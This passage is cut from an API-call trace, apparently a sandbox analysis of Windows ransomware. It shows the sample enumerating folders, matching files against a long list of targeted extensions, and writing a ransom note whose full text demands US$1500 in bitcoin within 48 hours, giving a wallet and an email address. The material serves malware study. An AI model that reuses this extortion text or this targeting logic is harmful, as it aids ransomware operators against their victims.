(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0102.868] lstrlenA (lpString="*.tlg") returned 5 [0102.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0102.868] lstrlenA (lpString="*.lgb") returned 5 [0102.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0102.868] lstrlenA (lpString="*.mov") returned 5 [0102.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0102.868] lstrlenA (lpString="*.xdw") returned 5 [0102.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0102.868] lstrlenA (lpString="*.ods") returned 5 [0102.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0102.868] lstrlenA (lpString="*.wav") returned 5 [0102.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0102.869] lstrlenA (lpString="*.mp3") returned 5 [0102.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0102.869] lstrlenA (lpString="*.aiff") returned 6 [0102.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0102.869] lstrlenA (lpString="*.flac") returned 6 [0102.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0102.869] lstrlenA (lpString="*.m4a") returned 5 [0102.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0102.869] lstrlenA (lpString="*.csv") returned 5 [0102.870] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0102.870] lstrcmpA (lpString1=".", lpString2="147e0380bb1defe89cef3287b2e165f7") returned -1 [0102.870] lstrcmpA (lpString1="..", lpString2="147e0380bb1defe89cef3287b2e165f7") returned -1 [0102.870] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="147e0380bb1defe89cef3287b2e165f7" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7" [0102.870] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7") returned 100 [0102.871] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448d3d20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x448d3d20, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x448d3d20, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.872] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0102.872] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448d3d20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x448d3d20, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x448d3d20, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.872] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0102.872] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0102.872] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x448adbc0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x448adbc0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x448adbc0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0102.873] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.873] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\" [0102.873] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\") returned="" [0102.873] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\HOW TO DECRYPT FILES.txt" [0102.873] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\147e0380bb1defe89cef3287b2e165f7\\how to decrypt files.txt")) returned 0xffffffff [0102.873] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\147e0380bb1defe89cef3287b2e165f7\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0102.878] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0102.878] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0102.883] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0102.883] CloseHandle (hObject=0x90) returned 1 [0102.883] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll" [0102.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0102.883] lstrlenA (lpString="*.ems") returned 5 [0102.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.db") returned 0 [0102.884] lstrlenA (lpString="*.db") returned 4 [0102.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0102.884] lstrlenA (lpString="*.dbf") returned 5 [0102.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0102.884] lstrlenA (lpString="*.myox") returned 6 [0102.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0102.884] lstrlenA (lpString="*.myo") returned 5 [0102.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0102.884] lstrlenA (lpString="*.qbw") returned 5 [0102.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0102.884] lstrlenA (lpString="*.qbb") returned 5 [0102.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0102.884] lstrlenA (lpString="*.qbm") returned 5 [0102.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0102.884] lstrlenA (lpString="*.qbo") returned 5 [0102.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0102.884] lstrlenA (lpString="*.qbx") returned 5 [0102.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0102.884] lstrlenA (lpString="*.qba") returned 5 [0102.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0102.885] lstrlenA (lpString="*.qby") returned 5 [0102.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0102.885] lstrlenA (lpString="*.qbj") returned 5 [0102.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0102.885] lstrlenA (lpString="*.ofx") returned 5 [0102.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0102.885] lstrlenA (lpString="*.qif") returned 5 [0102.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0102.885] lstrlenA (lpString="*.mye") returned 5 [0102.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0102.885] lstrlenA (lpString="*.mbox") returned 6 [0102.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0102.885] lstrlenA (lpString="*.eml") returned 5 [0102.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0102.885] lstrlenA (lpString="*.pst") returned 5 [0102.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0102.885] lstrlenA (lpString="*.ost") returned 5 [0102.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0102.886] lstrlenA (lpString="*.idx") returned 5 [0102.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0102.886] lstrlenA (lpString="*.dbx") returned 5 [0102.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0102.886] lstrlenA (lpString="*.sql") returned 5 [0102.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0102.886] lstrlenA (lpString="*.mdb") returned 5 [0102.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0102.886] lstrlenA (lpString="*.fdb") returned 5 [0102.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0102.886] lstrlenA (lpString="*.wab") returned 5 [0102.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0102.886] lstrlenA (lpString="*.dat") returned 5 [0102.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0102.886] lstrlenA (lpString="*.txt") returned 5 [0102.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0102.886] lstrlenA (lpString="*.jpeg") returned 6 [0102.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0102.887] lstrlenA (lpString="*.jpg") returned 5 [0102.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.png") returned 0 [0102.887] lstrlenA (lpString="*.png") returned 5 [0102.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.php") returned 0 [0102.887] lstrlenA (lpString="*.php") returned 5 [0102.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0102.887] lstrlenA (lpString="*.cs") returned 4 [0102.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0102.887] lstrlenA (lpString="*.cpp") returned 5 [0102.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0102.887] lstrlenA (lpString="*.rar") returned 5 [0102.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0102.887] lstrlenA (lpString="*.zip") returned 5 [0102.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.html") returned 0 [0102.887] lstrlenA (lpString="*.html") returned 6 [0102.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0102.887] lstrlenA (lpString="*.htm") returned 5 [0102.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0102.888] lstrlenA (lpString="*.xlsx") returned 6 [0102.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0102.888] lstrlenA (lpString="*.xls") returned 5 [0102.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0102.888] lstrlenA (lpString="*.mp4") returned 5 [0102.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0102.888] lstrlenA (lpString="*.ppt") returned 5 [0102.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0102.888] lstrlenA (lpString="*.pptx") returned 6 [0102.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0102.888] lstrlenA (lpString="*.doc") returned 5 [0102.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0102.888] lstrlenA (lpString="*.dot") returned 5 [0102.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0102.888] lstrlenA (lpString="*.docx") returned 6 [0102.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0102.888] lstrlenA (lpString="*.7z") returned 4 [0102.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0102.889] lstrlenA (lpString="*.tar") returned 5 [0102.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0102.889] lstrlenA (lpString="*.bz2") returned 5 [0102.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0102.889] lstrlenA (lpString="*.gz") returned 4 [0102.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0102.889] lstrlenA (lpString="*.mkv") returned 5 [0102.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0102.889] lstrlenA (lpString="*.eml") returned 5 [0102.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0102.889] lstrlenA (lpString="*.msg") returned 5 [0102.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0102.889] lstrlenA (lpString="*.edb") returned 5 [0102.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0102.889] lstrlenA (lpString="*.accdb") returned 7 [0102.889] PathMatchSpecA 